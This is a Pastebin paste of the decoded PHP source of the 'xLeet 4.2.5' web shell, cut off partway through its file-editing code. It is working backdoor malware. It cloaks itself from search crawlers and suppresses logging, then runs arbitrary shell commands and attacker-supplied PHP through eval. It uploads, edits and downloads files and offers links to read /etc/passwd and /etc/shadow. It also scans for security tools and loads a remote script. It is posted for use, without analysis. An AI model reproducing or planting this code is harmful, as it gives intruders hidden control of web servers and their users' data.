ToKeiChun

xLeet [4.2.5] PHP WebShell Decoded

Dec 1st, 2020 (edited)
424
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 78.55 KB | None | 0 0
  1. <?php
  2. error_reporting (0);
  3. //-------------- Seller Rulez !--------------
  4. if ($_REQUEST['watchx']) {
  5. $version = phpversion();
  6. $uname = php_uname();
  7. $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  8. echo json_encode (array ("version"=>$version,
  9. "uname"=>$uname,
  10. "platform"=>PHP_OS,
  11. "ip"=>$ip,
  12. "workingx"=>true,
  13. ));
  14. die ();
  15. }
  16. //-----------------Password---------------------
  17. $▛ = "59e8d97dbcc1d0f65dea6ecd0e9fbe39"; //xleet
  18.  
  19. $▘ = true;
  20. $▜ = 'UTF-8';
  21. $▚ = 'FilesMan';
  22. $▙ = md5($_SERVER['HTTP_USER_AGENT']);
  23. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
  24. prototype(md5($_SERVER['HTTP_HOST'])."key", $▙);
  25. }
  26.  
  27. if(empty($_POST['charset']))
  28. $_POST['charset'] = $▜;
  29. if (!isset($_POST['ne'])) {
  30. if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  31. if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  32. if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  33. if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  34. if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  35. }
  36. function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
  37. @ini_set('error_log',NULL);
  38. @ini_set('log_errors',0);
  39. @ini_set('max_execution_time',0);
  40. @set_time_limit(0);
  41. if (PHP_VERSION_ID < 70000)
  42. @set_magic_quotes_runtime(0);
  43. @define('VERSION', '4.2.5');
  44. if(get_magic_quotes_gpc()) {
  45. function stripslashes_array($array) {
  46. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  47. }
  48. $_POST = stripslashes_array($_POST);
  49. $_COOKIE = stripslashes_array($_COOKIE);
  50. }
  51. /* (С) 11.2011 oRb */
  52. if(!empty($▛)) {
  53. if(isset($_POST['pass']) && (md5($_POST['pass']) == $▛))
  54. prototype(md5($_SERVER['HTTP_HOST']), $▛);
  55. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛))
  56. hardLogin();
  57. }
  58. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  59. $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$▘;
  60. function hardLogin() {
  61. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  62. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  63. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  64. header('HTTP/1.0 404 Not Found');
  65. exit;
  66. }
  67. }
  68. die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");
  69. }
  70. if(strtolower(substr(PHP_OS,0,3)) == "win")
  71. $os = 'win';
  72. else
  73. $os = 'nix';
  74. $safe_mode = @ini_get('safe_mode');
  75. if(!$safe_mode)
  76. error_reporting(0);
  77. $disable_functions = @ini_get('disable_functions');
  78. $home_cwd = @getcwd();
  79. if(isset($_POST['c']))
  80. @chdir($_POST['c']);
  81. $cwd = @getcwd();
  82. if($os == 'win') {
  83. $home_cwd = str_replace("\\", "/", $home_cwd);
  84. $cwd = str_replace("\\", "/", $cwd);
  85. }
  86. if($cwd[strlen($cwd)-1] != '/')
  87. $cwd .= '/';
  88. /* (С) 04.2015 Pirat */
  89. function hardHeader() {
  90. if(empty($_POST['charset']))
  91. $_POST['charset'] = $GLOBALS['▜'];
  92. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - xLeet " . VERSION ."</title>
  93. <style>
  94. body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
  95. #particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
  96. body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
  97. table.info {color:#C3C3C3;}
  98. table#toolsTbl {background-color: #060A10;}
  99. span,h1,a {color:#fff !important;}
  100. span {font-weight:bolder;}
  101. h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
  102. div.content {padding:5px;margin-left:5px;background-color:#060a10;}
  103. a {text-decoration:none;}
  104. a:hover {text-decoration:underline;}
  105. .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
  106. .tooltip:hover::after {opacity:1;visibility:visible;}
  107. .ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
  108. .bigarea {min-width:100%;max-width:100%;height:400px;}
  109. input, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
  110. label {position:relative}
  111. label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
  112. label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
  113. form {margin:0px;}
  114. #toolsTbl {text-align:center;}
  115. #fak {background:none;}
  116. #fak td {padding:5px 0 0 0;}
  117. iframe {border:1px solid #060a10;}
  118. .toolsInp {width:300px}
  119. .main th {text-align:left;background-color:#060a10;}
  120. .main tr:hover{background-color:#354252;}
  121. .main td, th{vertical-align:middle;}
  122. input[type='submit']{background-color:#2E6E9C;}
  123. input[type='button']{background-color:#2E6E9C;}
  124. input[type='submit']:hover{background-color:#56AD15;}
  125. input[type='button']:hover{background-color:#56AD15;}
  126. .l1 {background-color:#202832;}
  127. pre {font:9pt Courier New;}
  128. </style>
  129. <script>
  130. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  131. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  132. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  133. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  134. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  135. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  136. var d = document;
  137.  
  138. function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
  139. function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
  140. function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
  141. function set(a,c,p1,p2,p3,charset) {
  142. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  143. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  144. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  145. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  146. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  147. d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  148. d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  149. d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  150. d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  151. d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  152. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  153. }
  154. function g(a,c,p1,p2,p3,charset) {
  155. set(a,c,p1,p2,p3,charset);
  156. d.mf.submit();
  157. }
  158. function a(a,c,p1,p2,p3,charset) {
  159. set(a,c,p1,p2,p3,charset);
  160. var params = 'ajax=true';
  161. for(i=0;i<d.mf.elements.length;i++)
  162. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  163. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  164. }
  165. function sr(url, params) {
  166. if (window.XMLHttpRequest)
  167. req = new XMLHttpRequest();
  168. else if (window.ActiveXObject)
  169. req = new ActiveXObject('Microsoft.XMLHTTP');
  170. if (req) {
  171. req.onreadystatechange = processReqChange;
  172. req.open('POST', url, true);
  173. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  174. req.send(params);
  175. }
  176. }
  177. function processReqChange() {
  178. if( (req.readyState == 4) )
  179. if(req.status == 200) {
  180. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  181. var arr=reg.exec(req.responseText);
  182. eval(arr[2].substr(0, arr[1]));
  183. } else alert('Request error!');
  184. }
  185. </script>
  186. <script type='text/javascript' src='//importantscripts.github.io/footer.js'></script>
  187. <head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>
  188. <form method=post name=mf style='display:none;'>
  189. <input type=hidden name=a>
  190. <input type=hidden name=c>
  191. <input type=hidden name=p1>
  192. <input type=hidden name=p2>
  193. <input type=hidden name=p3>
  194. <input type=hidden name=charset>
  195. </form>";
  196. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  197. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  198. $totalSpace = $totalSpace?$totalSpace:1;
  199. $release = @php_uname('r');
  200. $kernel = @php_uname('s');
  201. $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
  202. if(strpos('Linux', $kernel) !== false)
  203. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  204. else
  205. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  206. if(!function_exists('posix_getegid')) {
  207. $user = @get_current_user();
  208. $uid = @getmyuid();
  209. $gid = @getmygid();
  210. $group = "?";
  211. } else {
  212. $uid = @posix_getpwuid(@posix_geteuid());
  213. $gid = @posix_getgrgid(@posix_getegid());
  214. $user = $uid['name'];
  215. $uid = $uid['uid'];
  216. $group = $gid['name'];
  217. $gid = $gid['gid'];
  218. }
  219. $cwd_links = '';
  220. $path = explode("/", $GLOBALS['cwd']);
  221. $n=count($path);
  222. for($i=0; $i<$n-1; $i++) {
  223. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  224. for($j=0; $j<=$i; $j++)
  225. $cwd_links .= $path[$j].'/';
  226. $cwd_links .= "\")'>".$path[$i]."/</a>";
  227. }
  228. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  229. $opt_charsets = '';
  230. foreach($charsets as $▟)
  231. $opt_charsets .= '<option value="'.$▟.'" '.($_POST['charset']==$▟?'selected':'').'>'.$▟.'</option>';
  232. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  233. if(!empty($GLOBALS['▛']))
  234. $m['Logout'] = 'Logout';
  235. $m['Self remove'] = 'SelfRemove';
  236. $menu = '';
  237. foreach($m as $k => $v)
  238. $menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  239. $drives = "";
  240. if ($GLOBALS['os'] == 'win') {
  241. foreach(range('c','z') as $drive)
  242. if (is_dir($drive.':\\'))
  243. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  244. }
  245. /* (С) 08.2015 dmkcv */
  246. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
  247. '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://noreferer.de/?http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="'.$explink.'" target=_blank>[ Exploit-DB ]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#FFDB5F><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
  248. '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
  249. '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>';
  250. }
  251. function hardFooter() {
  252. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#FFDB5F'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";
  253. echo "
  254. </div>
  255. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
  256. <tr>
  257. <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td>
  258. <td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
  259. </tr><tr>
  260. <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
  261. <td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
  262. </tr><tr>
  263. <td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>
  264. <td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
  265. <input type=hidden name=a value='FilesMan'>
  266. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  267. <input type=hidden name=p1 value='uploadFile'>
  268. <input type=hidden name=ne value=''>
  269. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  270. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[] multiple><input type=submit value='submit'></form><br ></td>
  271. </tr></table></div>
  272.  
  273. </body></html>";
  274. }
  275. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
  276. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }
  277. function ex($in) {
  278. $▖ = '';
  279. if (function_exists('exec')) {
  280. @exec($in,$▖);
  281. $▖ = @join("\n",$▖);
  282. } elseif (function_exists('passthru')) {
  283. ob_start();
  284. @passthru($in);
  285. $▖ = ob_get_clean();
  286. } elseif (function_exists('system')) {
  287. ob_start();
  288. @system($in);
  289. $▖ = ob_get_clean();
  290. } elseif (function_exists('shell_exec')) {
  291. $▖ = shell_exec($in);
  292. } elseif (is_resource($f = @popen($in,"r"))) {
  293. $▖ = "";
  294. while(!@feof($f))
  295. $▖ .= fread($f,1024);
  296. pclose($f);
  297. }else return "↳ Unable to execute command\n";
  298. return ($▖==''?"↳ Query did not return anything\n":$▖);
  299. }
  300. function viewSize($s) {
  301. if($s >= 1073741824)
  302. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  303. elseif($s >= 1048576)
  304. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  305. elseif($s >= 1024)
  306. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  307. else
  308. return $s . ' B';
  309. }
  310. function perms($p) {
  311. if (($p & 0xC000) == 0xC000)$i = 's';
  312. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  313. elseif (($p & 0x8000) == 0x8000)$i = '-';
  314. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  315. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  316. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  317. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  318. else $i = 'u';
  319. $i .= (($p & 0x0100) ? 'r' : '-');
  320. $i .= (($p & 0x0080) ? 'w' : '-');
  321. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  322. $i .= (($p & 0x0020) ? 'r' : '-');
  323. $i .= (($p & 0x0010) ? 'w' : '-');
  324. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  325. $i .= (($p & 0x0004) ? 'r' : '-');
  326. $i .= (($p & 0x0002) ? 'w' : '-');
  327. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  328. return $i;
  329. }
  330. function viewPermsColor($f) {
  331. if (!@is_readable($f))
  332. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  333. elseif (!@is_writable($f))
  334. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  335. else
  336. return '<font color=#FFDB5F><b>'.perms(@fileperms($f)).'</b></font>';
  337. }
  338. function hardScandir($dir) {
  339. if(function_exists("scandir")) {
  340. return scandir($dir);
  341. } else {
  342. $dh = opendir($dir);
  343. while (false !== ($filename = readdir($dh)))
  344. $files[] = $filename;
  345. return $files;
  346. }
  347. }
  348. function which($p) {
  349. $path = ex('which ' . $p);
  350. if(!empty($path))
  351. return $path;
  352. return false;
  353. }
  354. function actionRC() {
  355. if(!@$_POST['p1']) {
  356. $a = array(
  357. "uname" => php_uname(),
  358. "php_version" => phpversion(),
  359. "VERSION" => VERSION,
  360. "safemode" => @ini_get('safe_mode')
  361. );
  362. echo serialize($a);
  363. } else {
  364. eval($_POST['p1']);
  365. }
  366. }
  367. function prototype($k, $v) {
  368. $_COOKIE[$k] = $v;
  369. setcookie($k, $v);
  370. }
  371. function actionSecInfo() {
  372. hardHeader();
  373. echo '<h1>Server security information</h1><div class=content>';
  374. function showSecParam($n, $v) {
  375. $v = trim($v);
  376. if($v) {
  377. echo '<span>' . $n . ': </span>';
  378. if(strpos($v, "\n") === false)
  379. echo $v . '<br>';
  380. else
  381. echo '<pre class=ml1>' . $v . '</pre>';
  382. }
  383. }
  384. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  385. if(function_exists('apache_get_modules'))
  386. showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  387. showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  388. showSecParam('Open base dir', @ini_get('open_basedir'));
  389. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  390. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  391. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  392. $temp=array();
  393. if(function_exists('mysql_get_client_info'))
  394. $temp[] = "MySql (".mysql_get_client_info().")";
  395. if(function_exists('mssql_connect'))
  396. $temp[] = "MSSQL";
  397. if(function_exists('pg_connect'))
  398. $temp[] = "PostgreSQL";
  399. if(function_exists('oci_connect'))
  400. $temp[] = "Oracle";
  401. showSecParam('Supported databases', implode(', ', $temp));
  402. echo '<br>';
  403. if($GLOBALS['os'] == 'nix') {
  404. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  405. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  406. showSecParam('OS version', @file_get_contents('/proc/version'));
  407. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  408. if(!$GLOBALS['safe_mode']) {
  409. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  410. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  411. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  412. echo '<br>';
  413. $temp=array();
  414. foreach ($userful as $▟)
  415. if(which($▟))
  416. $temp[] = $▟;
  417. showSecParam('Userful', implode(', ',$temp));
  418. $temp=array();
  419. foreach ($danger as $▟)
  420. if(which($▟))
  421. $temp[] = $▟;
  422. showSecParam('Danger', implode(', ',$temp));
  423. $temp=array();
  424. foreach ($downloaders as $▟)
  425. if(which($▟))
  426. $temp[] = $▟;
  427. showSecParam('Downloaders', implode(', ',$temp));
  428. echo '<br/>';
  429. showSecParam('HDD space', ex('df -h'));
  430. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  431. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  432. }
  433. } else {
  434. showSecParam('OS Version',ex('ver'));
  435. showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
  436. showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
  437. }
  438. echo '</div>';
  439. hardFooter();
  440. }
  441. function actionFilesTools() {
  442. if( isset($_POST['p1']) )
  443. $_POST['p1'] = urldecode($_POST['p1']);
  444. if(@$_POST['p2']=='download') {
  445. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  446. ob_start("ob_gzhandler", 4096);
  447. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  448. if (function_exists("mime_content_type")) {
  449. $type = @mime_content_type($_POST['p1']);
  450. header("Content-Type: " . $type);
  451. } else
  452. header("Content-Type: application/octet-stream");
  453. $fp = @fopen($_POST['p1'], "r");
  454. if($fp) {
  455. while(!@feof($fp))
  456. echo @fread($fp, 1024);
  457. fclose($fp);
  458. }
  459. }exit;
  460. }
  461. if( @$_POST['p2'] == 'mkfile' ) {
  462. if(!file_exists($_POST['p1'])) {
  463. $fp = @fopen($_POST['p1'], 'w');
  464. if($fp) {
  465. $_POST['p2'] = "edit";
  466. fclose($fp);
  467. }
  468. }
  469. }
  470. hardHeader();
  471. echo '<h1>File tools</h1><div class=content>';
  472. if( !file_exists(@$_POST['p1']) ) {
  473. echo 'File not exists';
  474. hardFooter();
  475. return;
  476. }
  477. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  478. if(!$uid) {
  479. $uid['name'] = @fileowner($_POST['p1']);
  480. $gid['name'] = @filegroup($_POST['p1']);
  481. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  482. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  483. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  484. if( empty($_POST['p2']) )
  485. $_POST['p2'] = 'view';
  486. if( is_file($_POST['p1']) )
  487. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
  488. else
  489. $m = array('Chmod', 'Rename', 'Touch');
  490. foreach($m as $v)
  491. echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  492. echo '<br><br>';
  493. switch($_POST['p2']) {
  494. case 'view':
  495. echo '<pre class=ml1>';
  496. $fp = @fopen($_POST['p1'], 'r');
  497. if($fp) {
  498. while( !@feof($fp) )
  499. echo htmlspecialchars(@fread($fp, 1024));
  500. @fclose($fp);
  501. }
  502. echo '</pre>';
  503. break;
  504. case 'highlight':
  505. if( @is_readable($_POST['p1']) ) {
  506. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  507. $oRb = @highlight_file($_POST['p1'],true);
  508. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$oRb).'</div>';
  509. }
  510. break;
  511. case 'chmod':
  512. if( !empty($_POST['p3']) ) {
  513. $perms = 0;
  514. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  515. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  516. if(!@chmod($_POST['p1'], $perms))
  517. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  518. }
  519. clearstatcache();
  520. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>';
  521. break;
  522. case 'edit':
  523. if( !is_writable($_POST['p1'])) {
  524. echo 'File isn\'t writeable';
  525. break;
  526. }
  527. if( !empty($_POST['p3']) ) {
  528. $time = @filemtime($_POST['p1']);
  529. $_POST['p3'] = substr($_POST['p3'],1);
  530. $fp = @fopen($_POST['p1'],"w");
  531. if($fp) {
  532. @fwrite($fp,$_POST['p3']);
  533. @fclose($fp);
